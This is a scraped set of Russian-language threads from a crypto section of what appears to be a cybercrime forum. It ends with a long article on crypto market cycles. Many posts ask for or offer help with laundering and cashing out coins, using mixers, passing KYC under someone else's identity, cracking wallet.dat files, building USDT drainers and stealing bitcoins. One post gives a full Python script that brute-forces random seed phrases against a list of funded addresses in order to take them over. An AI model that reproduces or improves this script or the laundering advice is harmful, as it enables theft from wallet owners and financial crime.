Last Post: 2019-05-21T18:38:09+0000
Author: NoEasy
Replies: 12 Views: 4K

Приветствую.
Подскажите какими решениями пользуетесь, что бы выводить бтс на карту и обналичивать в СНГ в терминалах.
Верно ли я понимаю, что используя карту манибукерс/пионер/етс и выводя бтс проблем не будет?

Все о Facebook Libra
ID: 67686ad7b4103b69df379aa8
Thread ID: 29856
Created: 2019-06-19T11:50:48+0000
Last Post: 2019-06-19T11:50:48+0000
Author: pablo
Replies: 0 Views: 3K

Много было написано и сказано о криптовалютном проекте от Facebook под названием Libra, кошель у них будет кстати Calibra
Так вот, биткоин в ~~опазносте~~ в полной безопасности

Важно! Глава блокчейн-подразделения Facebook Дэвид Маркус заявил, что проект Libra будет делиться с властями информацией о пользователях для предотвращения преступлений, а также для соответствия требованиям регуляторов.

Click to expand...

Это крипта для хомячков и гастарбайтеров, шлющих деньги на родину. Короче, просто замена PayPal.

Так что учимся лить фейсбучную либру, вместо палки, и радуемся за биткоин

Раздам VK Coin'ы. От Юзера.
ID: 67686ad7b4103b69df379aaa
Thread ID: 28676
Created: 2019-04-09T10:36:43+0000
Last Post: 2019-06-12T11:33:06+0000
Author: kravl
Replies: 6 Views: 3K

You must have at least 15 reaction(s) to view the content.

Транзакции блокчейн
ID: 67686ad7b4103b69df379ac0
Thread ID: 28170
Created: 2019-03-07T18:18:33+0000
Last Post: 2019-03-12T20:40:36+0000
Author: dezkor
Replies: 9 Views: 3K

Всем привет! кто может подсказать возможно и такое что транзакция битка потерялась и не записалась в блокчейне?
вот кошелек 1LXeXBgn6jwSa5fb3nxjMyjfcohukVJpmK . по нему транзакция за 17.08.18 на скрине есть а по факту нет(

Бесплатные Bitcoin/Токены/ICO
ID: 67686ad7b4103b69df379ac3
Thread ID: 28133
Created: 2019-03-05T12:08:31+0000
Last Post: 2019-03-05T14:52:05+0000
Author: tabac
Replies: 4 Views: 3K

Предлагаю открыть такую одну, общую тему с бесплатными раздачами bitcoin'ов, токенов от бирж/ICO и прочих проектов. Раздают, в основном, копейки, но новичкам должно быть полезно. Да и со временем эти токены могут очень вырасти в цене, как было с BNB токенами биржи binance, которые по началу раздавали бесплатно и стоили оцени сущие центы.

Начну я.

1. Биржа Bitsdaq, bitsdaq.com
является официальным партнером биржи Bittrex, раздают токены BXBC
За регистрацию получаем награду 1000 BXBC, также за каждое ежедневное посещение дают по 200 BXBC. Кроме того, за прохождение процедуры KYC (верификации) существует награда в 5000 BXBC. Вериф можно пройти не на себя, понятно :)

Flash BTC нужны ответы
ID: 67686ad7b4103b69df37966c
Thread ID: 119510
Created: 2024-07-24T14:48:50+0000
Last Post: 2024-12-11T16:56:33+0000
Author: darw1n
Replies: 14 Views: 3K

Привет всем, хотелось понять что такое флэш крипта ?
Существует вообще такое в природе, просто по рассказам такое есть и есть даже кошельки в топ 1000 богатейших с такими монетами.
Знаю что есть сайт который якобы продает софт который создает такие биткоины, если не много погуглить понятно что это скам.

с фэйк криптой допустим мне понятно, что это просто иходники того-же же токене тока создаешь свой смарт контракт.
Но давайте и фэйки обсудим может что-то хорошее научились делать

Мысли по крипте
ID: 67686ad7b4103b69df37969b
Thread ID: 106534
Created: 2024-01-24T03:06:53+0000
Last Post: 2024-11-06T17:27:05+0000
Author: Hodl
Replies: 35 Views: 3K

Друзья биток валится, если есть какие мысли не стесняйтесь делитесь. Своими мыслями поделюсь.
Если биткоин продолжить падать первая цель 36340 по фибоначи, уровень 1.618, следующая 31370. Геп на фьчах на уровне 20330, следующий 11200 и 9750. От пика 49435 до нижнего гепа 9750, 80% падение что совпадает с прошлыми хаями и лоями.
Покажу в картинках =)

Screenshot_2024-01-24_07_54_18.png
Screenshot_2024-01-24_07_55_28.png
Screenshot_2024-01-24_07_56_28.png
Screenshot_2024-01-24_07_56_45.png

Падение от хаев в прошлые разы составляло в районе 80%, как раз попадает на нижний Геп. Что вполне вероятно, чтобы хомяки распродали свою крипту в страхе.
Падать может с отскоками, брить шортистов и лонгистов это святое, на них и будут отскоки. Всем мира!

Занимается ли кто вскрытием wallet.dat
ID: 67686ad7b4103b69df37969d
Thread ID: 76467
Created: 2022-11-23T04:57:38+0000
Last Post: 2024-11-04T21:08:07+0000
Author: XTen
Replies: 27 Views: 3K

Доброго дня всем, есть ли тут умельцы которые умеют\пробовали\знают, как вскрывать wallet.dat
Есть кош, знаю что бывают фейк коши и т.д, в плане wallet.dat навыков и знаний 0, хочется узнать, кошелек вроде живой, транзакции свежих годов и даже этого месяца.
Есть ли какие варианты что-нибудь с ним наделать.

брут seed фразы
ID: 67686ad7b4103b69df3796ae
Thread ID: 123398
Created: 2024-09-24T09:45:41+0000
Last Post: 2024-10-22T10:46:25+0000
Author: DedicNinja
Replies: 26 Views: 3K

а кто-то занимался брутом сида для blockchain.info? мне в голову стрельнула такая мысль. поделитесь стоит ли того чтобы этим заниматся? или шанс слишком ничтожен?
12 слов не так уж и много. по статистике на 2к23 год там было 2кк+ кошелей с разными баликами.

Прачечная. Идеи для отмыва бабла
ID: 67686ad7b4103b69df3796d0
Thread ID: 118589
Created: 2024-07-10T20:09:41+0000
Last Post: 2024-09-14T12:01:32+0000
Author: luckybins
Replies: 14 Views: 3K

Здравствуйте! Могу рассказать пару схем как можно отмывать крипту без использования местных обменников и платы процентов.

Если интересно - let me know (дайте знать) и я все развалю по пунктам)

Что опять?
ID: 67686ad7b4103b69df3796f6
Thread ID: 120207
Created: 2024-08-04T18:03:22+0000
Last Post: 2024-08-05T17:57:13+0000
Author: xxxadam
Replies: 28 Views: 3K

Биток снова на характере… новостей не вижу, это он на англосакские войны с мигрантами так развыебывался? Вроде после ключ.ставки и отчета о занятости на 62 устаканился… кто в курсе?
IMG_9895.jpeg

Софт для поиска кошельков
ID: 67686ad7b4103b69df3796f7
Thread ID: 119881
Created: 2024-07-30T18:57:15+0000
Last Post: 2024-08-03T22:25:07+0000
Author: Exlips
Replies: 23 Views: 3K

Подскажите сколько будет стоить написание простого софта по поиску забытых кошельков?

Кошельки с мелочью
ID: 67686ad7b4103b69df379712
Thread ID: 98187
Created: 2023-09-16T14:51:30+0000
Last Post: 2024-06-27T20:12:01+0000
Author: punishmentisonmyway
Replies: 35 Views: 3K

Автор одной статьи рекомендовал для безопасности генерировать новую фразу при надобности оплатить услугу или приобрести товар в интернете. За длительный период времени пользования криптовалютой, в частности биткоин, у меня скопилось неимоверное количество кошельков на балансе каждого из которых, одна или две пары долларов. Существует ли такой сервис, на котором можно анонимно утилизировать всю эту мелочь и вывести на новый кошелёк? Впервые сталкиваюсь с данной мне проблемой, прошу не судить строго если вопрос чересчур банален.

Всем добра.

Дрейнер под usdt
ID: 67686ad7b4103b69df379715
Thread ID: 115943
Created: 2024-06-03T05:22:41+0000
Last Post: 2024-06-22T00:01:48+0000
Author: deda
Replies: 20 Views: 3K

Есть ли реализации дрейнера для списания средств с Usdt на биржах, трасте?

Первый токен с изображением форума xss.is
ID: 67686ad7b4103b69df379718
Thread ID: 117015
Created: 2024-06-17T11:54:32+0000
Last Post: 2024-06-19T21:50:02+0000
Author: meph1st0
Replies: 29 Views: 3K

Я только что создал меметическую монету с изображением нашего форума на TON, я отправлю большое количество монет самым старым и заметным пользователям форума, если этот проект заинтересует сообщество достаточно и вы захотите заполнить центр ликвидности, я откажусь от прав и монета будет принадлежать всему сообществу форума. Если вам нравится эта инициатива, увеличьте количество лайков, реакций и комментариев. и те, кто хочет, пожалуйста, сообщите 😎.

tonviewer.com

[ XSS.is · Tonviewer

](https://tonviewer.com/UQCUzemb6kEaFsQaOENlRP1WJZcgEEQjlNvbfM1Yu1yegrSJ/jetton/EQABOyqnGZfAJzl3zFPOrPclE2BMCKCt8N9dq3Nn2FIKAwU-)

Explore events, transactions, nft, tokens and more for EQABOyqnGZfAJzl3zFPOrPclE2BMCKCt8N9dq3Nn2FIKAwU-

tonviewer.com tonviewer.com

I have just created a memecoin bearing the image of our forum on TON, I will send a large number of coins to the oldest and most notable users of the forum, if this project interests the community enough and you want to fill the liquidity center I would revoke the rights and the coin will belong to the entire forum community. If you find this initiative cool, increase the likes, reactions and comments. and those who want it please report 😎

В ЕС приняли единые правила регулирования криптоактивов
ID: 67686ad7b4103b69df3797c8
Thread ID: 88143
Created: 2023-05-16T19:22:04+0000
Last Post: 2023-11-27T14:28:40+0000
Author: ANTIBIOTIK
Replies: 44 Views: 3K

Совет Европы принял новые правила регулирования цифровых активов Markets in Crypto-Assets (MiCA). Это [следует](https://www.consilium.europa.eu/en/press/press- releases/2023/05/16/digital-finance-council-adopts-new-rules-on-markets-in- crypto-assets-mica/) из сообщения совета.
Уточняется, что новые правила направлены на повышение прозрачности криптосферы и включают меры по борьбе с отмыванием денег. Документ вводит единую нормативно-правовую базу для криптокомпаний из стран Евросоюза.
Новые правила распространяются на эмитентов стейблкойнов, а также на поставщиков услуг, таких как торговые площадки и провайдеры криптовалютных кошельков, где хранятся криптоактивы. Помимо этого криптоплатформы должны информировать своих пользователей о рисках, связанных с криптовалютами. Ранее уточнялось, что законопроект предполагает, что компании должны получить разрешение на работу в Европе. Его в течение трех месяцев обязаны выдавать национальные власти, которые также передают информацию о разрешениях в Европейское управление по ценным бумагам и рынкам (ESMA).

Впервые проект MiCA был представлен в сентябре 2020 г. В апреле 2023 г. законопроект одобрил Европарламент. В совете отметили, что официальное принятие регламента 16 мая является заключительным шагом.
По информации Bloomberg, новые правила будут [вводить ](https://www.bloomberg.com/news/articles/2023-04-20/eu-s-mica-crypto- regulations-clear-final-parliament-vote?sref=l3J6d079)постепенно, но ограничения в отношении стейблкойнов заработают с июля 2024 г.
В 2022 г. Европарламент одобрил новые положения в законопроект об отмывании денег, которые также касаются и контроля операций с криптовалютой. Транзакции с использованием критовалюты будут обязательными к идентификации.
ИСТОЧНИК <https://www.vedomosti.ru/finance/news/2023/05/16/975352-v-es- prinyali-pravila-kriptoaktivov>
------------------------------------------------------------------------
Приветствую XSS сообщество.
Я и ещё пару сотен испуганых европейцев начанаем искать выход (обход) этого ********** Европейского закона
вот решил спросить у знатоков как нам спасти бизнесы и ананимность ?
надеюсь нас спасут ответом Хакеры и другие герои форума которые возможно были готовы к такому.
Спасибо за внимане

как угнать битки ?
ID: 67686ad7b4103b69df3797e9
Thread ID: 94838
Created: 2023-08-05T06:29:31+0000
Last Post: 2023-09-15T09:01:57+0000
Author: Bootes
Replies: 43 Views: 3K

зная что у человека более 10бтц на бирже и на холодном коше

какие биткоин-миксеры вы рекомендуете?
ID: 67686ad7b4103b69df3797ea
Thread ID: 69717
Created: 2022-07-06T03:13:50+0000
Last Post: 2023-09-14T15:45:38+0000
Author: goldensable
Replies: 59 Views: 3K

Помимо Wasabi Wallet / Chipmixer / Samouri Wallet / Blender.io Какие биткоин- миксеры вы рекомендуете?

Как вы покупаете свои BTC?
ID: 67686ad7b4103b69df37980d
Thread ID: 92254
Created: 2023-07-06T21:35:43+0000
Last Post: 2023-08-09T18:52:44+0000
Author: BlackMagic
Replies: 74 Views: 3K

Привет друзья, возник вопрос, так как я очень переживаю за анонимность.
Как вы покупаете свои BTC? какие виртуальные кошельки вы используете?
Некоторые платформы, которые могут посоветовать, были бы очень полезны

Перебор seed-фраз и сравнение полученных адресов с базой!
ID: 67686ad7b4103b69df37982b
Thread ID: 90610
Created: 2023-06-15T16:46:20+0000
Last Post: 2023-07-05T12:08:07+0000
Author: brumsy
Prefix: Мануал/Книга
Replies: 28 Views: 3K

-Cкрипт предназначен для проверки сид фраз и соответствующих им биткоин-адресов в базе данных.
- Он генерирует случайные сид фразы, создает ключи и адреса на их основе, а затем проверяет, есть ли совпадения с адресами из базы данных.
- Если найдено совпадение, скрипт записывает сид фразу и соответствующий адрес в файл.

- Для работы скрипта необходимо установить следующие модули и зависимости:
- os
- random
- mnemonic
- bip32utils

- Скрипт использует базу данных адресов для сравнения сгенерированных адресов.
- База адресов должна находится в файле base.txt.
- Каждый адрес должен быть записан в отдельной строке файла.

- Для генерации сид фраз скрипт использует ворд лист.
- Список слов должен быть сохранен в файле word_list.txt.
- Каждое слово должно быть записано в отдельной строке файла.
-Используем ворд лист, для того что бы человек мог записать в этот файл не все 2048 слов, а нужные ему 12 или другое количество.

- Скрипт использует два различных метода деривации ключей для генерации адресов: BIP32 и BIP44.
- BIP32 (иерархическая детерминированная ключевая серия) использует структуру дерева ключей для создания производных ключей.
- BIP44 (Bitcoin Improvement Proposal 44) является стандартом, который определяет дерево ключей и пути для создания адресов для определенного кошелька.
- Для генерации ключей и адресов скрипт использует энтропию, которая является случайной последовательностью слов из ворд листа.
- Для каждого пути (BIP32 и BIP44) скрипт генерирует производный ключ и соответствующий адрес на основе энтропии.
-Вы можете внести свои изменения относительно ваших нужд

- Когда скрипт находит совпадение между сгенерированным адресом и адресом из базы данных, он записывает сид фразу и адрес в файл seedyes.txt.
- Каждое совпадение записывается на отдельных строках файла, сид фраза и адрес разделены строкой.
- Если файл seedyes.txt не существует, скрипт создаст его и добавит записи в конец файла.

Сам код:

Python:Copy to clipboard

import os
import random
from mnemonic import Mnemonic
from bip32utils import BIP32Key

# берем слова из word list
def load_word_list():
    word_list_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'word_list.txt')
    with open(word_list_path, 'r') as file:
        word_list = file.read().splitlines()
    return word_list

# генерируем случайный сид
def generate_seed_phrase(word_list):
    mnemonic = Mnemonic("english")
    return mnemonic.generate(128)

# генерируем адресацию в BIP32, плюс деревацию и количество аков
def generate_bip32_address(seed_phrase, path):
    mnemonic = Mnemonic("english")
    seed = mnemonic.to_seed(seed_phrase)
    root_key = BIP32Key.fromEntropy(seed)
    path_parts = path.replace("Bip32 m/", "").split("/")
    for part in path_parts:
        if part.isdigit():
            derived_key = root_key.ChildKey(int(part))
            root_key = derived_key
    return derived_key.Address()

# генерируем адресацию в BIP44, плюс деревацию и количество аков
def generate_bip44_address(seed_phrase, path):
    mnemonic = Mnemonic("english")
    seed = mnemonic.to_seed(seed_phrase)
    root_key = BIP32Key.fromEntropy(seed)
    path_parts = path.replace("BIP44 m/44'/0'/0'", "").split("/")
    for part in path_parts:
        if part.isdigit():
            derived_key = root_key.ChildKey(int(part))
            root_key = derived_key
    return derived_key.Address()

# читаем базу
def read_address_database():
    addresses_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'base.txt')
    with open(addresses_path, 'r') as file:
        addresses = file.read().splitlines()
    return addresses

# сохраняем совпадения в файл
def write_matched_seeds(seed_phrase, address):
    with open('seed_yes.txt', 'a') as file:
        file.write(f"Seed Phrase: {seed_phrase}\nAddress: {address}\n\n")

# проверка адресов
def check_seeds():
    word_list = load_word_list()
    addresses = read_address_database()
    seed_count = 0
    match_count = 0

    while True:
        seed_phrase = generate_seed_phrase(word_list)
        for i in range(5):
            for j in range(3):
                path_bip32 = f"Bip32 m/{i}/{j}"
                address_bip32 = generate_bip32_address(seed_phrase, path_bip32)
                if address_bip32 in addresses:
                    write_matched_seeds(seed_phrase, address_bip32)
                    match_count += 1
                seed_count += 1

                path_bip44 = f"BIP44 m/44'/0'/0'/{i}/{j}"
                address_bip44 = generate_bip44_address(seed_phrase, path_bip44)
                if address_bip44 in addresses:
                    write_matched_seeds(seed_phrase, address_bip44)
                    match_count += 1
                seed_count += 1

        print(f"All: {seed_count} . Found: {match_count}", end="\r")
        
# можете увеличить количество проверяемых аков и глубину адресов {j} и {i}

check_seeds()
blockchain пиздец?
ID: 67686ad7b4103b69df379836
Thread ID: 84013
Created: 2023-03-17T23:27:52+0000
Last Post: 2023-06-23T12:16:42+0000
Author: Uroborus
Replies: 54 Views: 3K

вылезло
абать
можно сказать с голой жопой остался
что можно юзать под битки чтоб такие приколы не выскакивали и на паперть не пойти?

Лучшее время криптовалют — сейчас
ID: 67686ad7b4103b69df379842
Thread ID: 82359
Created: 2023-02-20T13:19:24+0000
Last Post: 2023-06-11T14:26:52+0000
Author: malloy05
Prefix: Статья
Replies: 9 Views: 3K

Часть 1, учимся на прошлом: циклы, победы и поражения​

Медвежьи рынки в перспективе​

В октябре 2008-го это сообщение разошлось по эмейл-рассылке шифропанков:
Я работаю над новой системой электронных денег без участия третьих лиц. Вайт- пейпер доступен здесь: .....pdf
Через несколько месяцев, 3 января 2009 года , человек или люди под псевдонимом Сатоши Накамото основали сеть Биткоин. Тринадцать лет спустя биткойн стал источником вдохновения для совершенно новой индустрии и нового класса активов стоимостью около 1 триллиона долларов. Хоть биткоин и называют "самым доходным активом десятилетия ", ведь с момента создания он вырос более чем на 40 000 000%, его путь, как и у всей сферы, не всегда был гладким.
Я говорил о взаимосвязи кризисов и зарождении важнейших проектов в прошлой статье - когда происходит коллапс, отсеиваются слабые команды и их проекты, остаются сильные, верящие в сферу и самые прибыльные в перспективе — ethereum , solana , polygon , uniswap , opensea , daomaker , e.t.c.
Это локально для криптосферы. Но что говорить, когда даже она зародилась с появления сети биткоина. То есть, после кризиса 2008.
Циклы рынка несут куда больше информации, чем нам кажется, этому и посвящена первая глава.
Из идеи децентрализованной сети, изложенной на девяти страницах white- paper, превратилась в отрасль стоимостью триллион долларов, внедряющую инновации в таких областях, как: устойчивая энергетика , финансы , развлечения , искусство и многое другое.

Увертюра. Как определить в каком мы цикле?​

Увертюра (фр. ouverture от лат. apertura «открытие; начало») - это своеобразное предисловие к произведению. Она играет весьма важную роль, так как заранее подготавливает зрителей к действию или событиям, которое далее будут изложены.
Мы переживаем значительное снижение цен, неопределенность продолжает омрачать криптовалютные рынки. Однако, понимание того, где именно мы находимся в этом рыночном цикле, дает перспективу и понимание ситуации.
Подобно традиционным финансовым рынкам, в крипте также присутствуют сменяющие друг друга циклы. В среднем цикл длится 4 года , сопоставимо периодичности халвинга $BTC.
Смена цикла знаменует глобальный переход рынка от медвежьего к бычьему.
Существует множество методов определения смены циклов, количественно мы можем определить это когда реализованная цена $BTC становится ниже рыночной.
Реализованная цена — цена, по которой был куплен /продан актив. Она дает понять сколько позиций в рынке находится в прибыли либо в убытке.
Чтобы понять лучше - посмотрим на график:

Циклы рынка: рыночная цена и реализованная цена
Реализованная цена ниже рыночной подразумевает, что большинство активов удерживается выше цены, по которой они были куплены = большинство в плюсе, и наоборот. РЦ выше рыночной = большинство в минусе.
Определив когда большинство $BTC удерживаются выше цены , по которой они были куплены , мы можем определить , когда рынок начинает переходить от медвежьего рынка к бычьему рынку , а значит новому циклу.
И это прекрасно видно по графику выше. Новый цикл приходит, когда медвежий рынок сменяется бычьим.
Цена $BTC выступает в роли индикатора рынка, так как по сей день отражает рыночные настроения и интерес к сфере, занимая 40 % ее капитализации.

Мы уже в медвежьем рынке?​

13 июня мы официально вступили в медвежий рынок и находимся в конечной стадии 4-го криптоцикла.
Мы находимся пять месяцев в этой зоне, и мы можем увидеть еще ~120 дней* благоприятных возможностей для покупки по сравнению с предыдущими циклами.

*Эта цифра базируется на [исследовании](https://grayscale.com/learn/bear- markets-in-perspective/) Grayscale от Июля 2022 -го года и выведена математически на основе данных предыдущих циклов.

Крах FTX - масштабное событие, которое оказало влияние на этот прогноз, другие компании выпускали похожие исследования, уже после и их я разберу дальше в этой статье. Эту цифру предположительно можно сдвинуть на несколько месяцев, однако, прошлые медвежьи рынки также сплошь и рядом состояли из падений, например, взлом биржи Mt. Gox на 800.000 $BTC , хардфорк Ethereum и так далее. И математика уже это вмещает, поэтому вполне разумно взять прогноз Grayscale как точку отсчета.

Click to expand...

Другими словами — медвежий рынок продлится предположительно еще 120 дней.
показана средняя цена биткойна в зонах, где реализованная цена > рыночной цены биткойна. данные от 6 июля 2022

Вполне логично, что подобные периоды считаются одними из лучших точек для входа в рынок. Статистически это верно, по таблице прибыль колоссальная. Главное суметь определиться с правильным активом;)
С каждым новым циклом рынок становится более зрелым. Криптовалюты не только стали более доступными для розничных инвесторов, но и для институциональных инвесторов, которые ранее не могли инвестировать в этот класс активов, пока не появились ETF в Европе , Канаде и Бразилии. Вполне возможно, мы увидим и США в этом списке, а это приходит из сотрудничества BlackRock и Coinbase.
Кроме того, децентрализованные приложения (dApps) набирают обороты и находят свое применение на рынке децентрализованных финансов , игр , искусства и многого другого.
Следующийбуллран мы увидим по-крупному.
Каждый новый цикл ознаменовывался фундаментальными достижениями. Это служило ступенькой для следующего цикла.
Мы видели взлеты и падения, всплеск разнообразия в 2021 -м году, когда обрели популярность направления GameFi , NFT , Metaverse.
Хотя проекты, которые заложили этому фундамент: Axie Infinity , Sandbox Game , Decentraland , CryptoPunks — появились в периоде 2017 -2018 , а значит в период полного упадка предыдущего цикла.
Пофантазируем, что же нас ждет в следующем цикле, когда учтут открытия и ошибки 2021 -2022?
Раскрывая и иллюстрируя тезис выше, предлагаю вам немного ностальгии: ниже приводится краткий обзор знаменательных событий, начиная с цикла 2012.

Красочная история рыночных циклов​

Настоятельно рекомендую всматриваться в события и сопоставлять с реальным временем, даже на первый взгляд рисуются довольно интересные закономерности — мозг лучше понимает как на сферу влияют определенные ситуации. Я заботливо буду отмечать наиболее интересные моменты.

2012 - 2015: Хакеры, наркотики и зарождение Ethereum

![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252F003de285-c653-4f6b-a80c-2bd5e83116e0%252FUntitled.jpeg%3Fid%3De079440d-0a48-4dd0-88b5-f6f8cf68c80d%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=07cac543de28e8e9a54a6fe1adacd991)​

В 2012 году криптовалютный рынок состоял практически только из биткоина. CoinMarketCap не существовал до конца 2013 года, позже отслеживал менее 30 монет.
Помимо торговли и обменов основным применением $BTC были онлайн-покупки товаров на таких сайтах, как Silk Road.
Silk Road — маркетплейс в даркнете, в большинстве, располагающий запрещенными товарами. Более 70% — наркотики, в остальном: оружие , детская порнография , фальшивые деньги и даже услуги киллера. Работал с 2011 по 2013 год.
В то время "Шелковый путь " был большой движущей силой в привлечении новых пользователей в сеть биткоина , да и в крипту в целом. А Mt. Gox , крупнейшая биржа $BTC , тогда отвечала за большую часть транзакций по всему миру.
Лейтмотивом этого цикла стало распространение новых криптовалютных бирж и кошельков. Несмотря на небольшой возраст сферы, предприниматели надеялись извлечь выгоду. Однако процессы, связанные с хранением и управлением такими активами, как $BTC , были относительно несуществующими, что привело к неоднократным взломам и краже более миллиона $BTC.
Многие из ранних эксплойтов, такие как [Linode](https://spectrum.ieee.org/thousands-of-bitcoins-stolen-in-a-hack- on-linode) и [Bitcoinica](https://arstechnica.com/uncategorized/2012/05/bitcoins- worth-87000-plundered/) , казалось, не оказали большого влияния на общую цену $BTC , поскольку цены продолжали расти в 2013 году.
Забавно наблюдать, как к определенному моменту рынок "перегревается", после, происходят события подобные коллапсу $LUNA , 3AC , Celcius и происходит переоценка ценностей.

"Фундамент" этого цикла разрушен. Черный пиар криптосферы захлебнулся, Silk Road пал в октябре 2013. Ощущения двоякие, но именно этот опыт здорово раскрыл возможность применения крипты и привел первых адептов.
Китай запретил $BTC , до того, как это стало мейнстримом.
Крупнейшая биржа Mt. Gox потеряла 850k $BTC пользовательских средств посредством взлома. На секундочку — $20,4 МЛРД, что больше капитализация $SOL + $DOT.
Цена $BTC упала на ~80 % в течение года после пика 16 декабря 2013 года. События повлекли конец этой бычьей фазы цикла. Снижение цен сопровождалось ослаблением доверия к этому классу активов, поскольку многие из новых участников покинули отрасль.
Те, кто остался, продолжали строить, разрабатывая сложные процедуры хранения для централизованных организаций и новые криптографические методы.
Средняя цена $BTC последующего медвежьего цикла ±300 $
Пожалуй, самым важным проектом, созданным во время спада цикла 2012 года, является Ethereum. Появился в 2015 -м, до 2017 года цена на $ETH колеблется в диапазоне от 1$ до 10$. Сегодня же Ethereum является фундаментом всей сферы криптовалют.
Его появление открыло возможности, выходящие за рамки отправки и получения цифровых активов. Зародилась новая эпоха — децентрализованные приложения. Ethereum открыл нам "умные контракты", это зародило направления, которые уже навсегда изменили наш мир: DeFi , DAO , Metaverse , GameFi , NFT. Только вдумайтесь, что с появления Эфириума не прошло и 10 лет.

Существующие проблемы, на которые указал даунтренд:

· Крипта , которая лежит не на вашем лэджере , вам не принадлежит (в 2022 -м мы словно только начинаем решать эту проблему)
· Нужны более безопасные и надежные биржи
· Для дальнейшего адопшена крипта не может быть просто “ценным активом ”, нужны какие-то реальные юзкейсы и новая инфраструктура/инструменты
· Децентрализация не защищает крипту от регуляций

Какие решения были предприняты:

· В 2014 появились аппаратные кошельки (и Trezor и Ledger)
· Coinbase и Gemini , биржа, запущенная в 2015 году, начали страховать депозиты своих пользователей
· В 2015 году был запущен Ethereum и явил миру смартконтракты
· В начале 2016 года был показан вайтпейпер Lighting Network
· В 2015 году был запущен Tether
· В 2016 году был запущен Metamask
· В начале 2016 года появились первые DAO
· Появились первые торговые площадки, например, Curve запустили в начале 2016 года
· На биржах начали появляться первые деривативы
· Появились объединения, лоббирующие интересы крипто индустрии. Первыми были Coincenter в 2014 , позже появились Blockchain Association
· Некоторые биржи начали менять свою юрисдикцию на ту, где осуществлялась мягкая политика регулирования в отношении криптовалют.
Вот так мы видим, что большинство привычных нам инструментов возникли как ответ на трудности с которыми индустрия столкнулась в прошлом.

2016 - 2019: Эра экспериментов. ICO и DeFi

![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252Fb3271b0d-49b6-4d53-816a-1c29f620c725%252FUntitled.jpeg%3Fid%3Da8654bd8-3265-4a10-8f04-148b9b5ec6dd%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=535478481cbbd90d3c5c5c33c2627413)​

В этот период настроения восстановились, Ethereum привнес в криптовалюту больше возможностей - сфера заиграла новыми красками. На этом фундаменте скорость зарождения новых проектов начала расти по экспоненте.
Закономерно, что возникли первичные предложения монет (ICO) и приобрели огромную популярность как в качестве инструментов для сбора средств, рекламы проектов и привлечения новых пользователей. Так и в качестве механизмов мошенничества.
Оглядываясь назад, мы понимаем, что популяризации нового раздела сферы криптовалют зачастую соответствует повышение мошеннической активности: период скамов в ICO 2017-го вполне можно сопоставить с таким же периодом в NFT в 2021-м. Видимо, это присуще натуре человечества. Мы лишь можем учиться на чужих ошибках и быть осторожными.
Пользователи коллективно вливали миллионы долларов в покупку токенов для поддержки идей и проектов, которые в конечном итоге никогда не были реализованы.
Во время пика эйфории проекты могли собрать стартовые раунды в размере $10МЛН + с веб-сайтом на коленке и неизвестной командой.
Кроме того, криптобиржа BitMEX запустила бессрочные свопы (perps) - инновационный фьючерсный продукт, не существующий на традиционных финансовых рынках, предоставляя трейдерам новые возможности для торговли с кредитным плечом.
Торговля токенами ICO только усугубила бешеную динамику цен.
С октября 2017 года по 2018 год макрофакторы вызвали распродажу развивающихся рынков и рисковых активов (т.е. криптовалют). ICO также стерло с рынка значительную долю рыночной капитализации и стоимости.
Феномен ICO отпугнул львиную долю аудитории от крипты, с другой стороны, этот период открыл врата проектам нового поколения , которые, в последствии, перевернули сферу.
Несмотря на семикратное падение, в этот период было запущено множество протоколов, которые сегодня представляют собой фундамент DeFi.
Например, Uniswap , концепция которого была теоретизирована годом ранее основателем Эфириума Виталиком Бутериным, был создан для того, чтобы позволить без разрешения обмениваться активами более эффективно, чем это было возможно ранее.
Aave , ставший одним из первых приложений, позволяющих вкладчикам получать проценты за счет децентрализованного кредитования с использованием смарт-контрактов и блокчейна.
Эти протоколы расширили полезность платформы Ethereum и стали основой-катализатором следующего криптоцикла, начавшегося в 2020 -м году, открывшегося с DeFi -Summer.

Проекты этого цикла.

Spoiler: Существующие проблемы, на которые указал даунтренд:

· Для защиты инвесторов необходимы некоторые действия со стороны регулирующих органов
· Инвесторы заинтересованы в проектах из финансового сектора
· ERC -20 примитив может/должен использоваться в искусстве
· Нужны другие фундаментальные проекты, помимо биткоина и эфира

Spoiler: Какие решения были предприняты:

· SEC заинтересовались криптовалютами и начали следствие с ICO
· Появились лэндинговые протоколы. Среди первых были AAVE и Compound
· В 2018 году был запущен $USDC
· Началось строительство инфраструктуры для DeFi
· Первые популярные NFT (Cryptokitties)
· Появились инструменты разработчика Web3 API/WEB3js и OpenZepplin
· Бум ICO привел к появлению большого количества скама, однако появились и такие проекты, как Polkadot , Bancor , Tezos , Filecoin , Binance.
· С того времени не было ни одного серьезного хака, “теневые ” биржи потеряли свою популярность , а безопасность существующих лучших крипто бирж находится на очень высоком уровне. (Исключение FTX , открывший уязвимость слепого доверия)

Во время бесконечного потока из FOMO и проектов-однодневок, в индустрии зародился фундамент, благодаря которому нам удалось привлечь сотни миллионов пользователей.

2020 - настоящее время: займы, мейнстрим и стресс-тест

DeFi![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252F8a59cb29-a6fe-4814-9309-5fb608de050b%252FUntitled.jpeg%3Fid%3De730dca7-9171-4f6e-a765-f88d7137a8c0%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=4cf319276e85a06c8e48617411d4a98f)

Текст ниже может показаться слегка сложным, но он принесет понимание происходящего в этом цикле, поможет извлечь урок из чужих ошибок, поэтому я постарался раскрыть некоторые моменты простыми словами.
Нынешний цикл - это**сага о кредитном плече.**
Между ростом популярности бессрочных свопов и запуском Чикагской товарной биржей (CME) фьючерсов на $BTC. инвесторов побудили начать использовать кредитное плечо, поскольку государственные расходы в ответ на пандемию COVID-19 поддержали экономику.
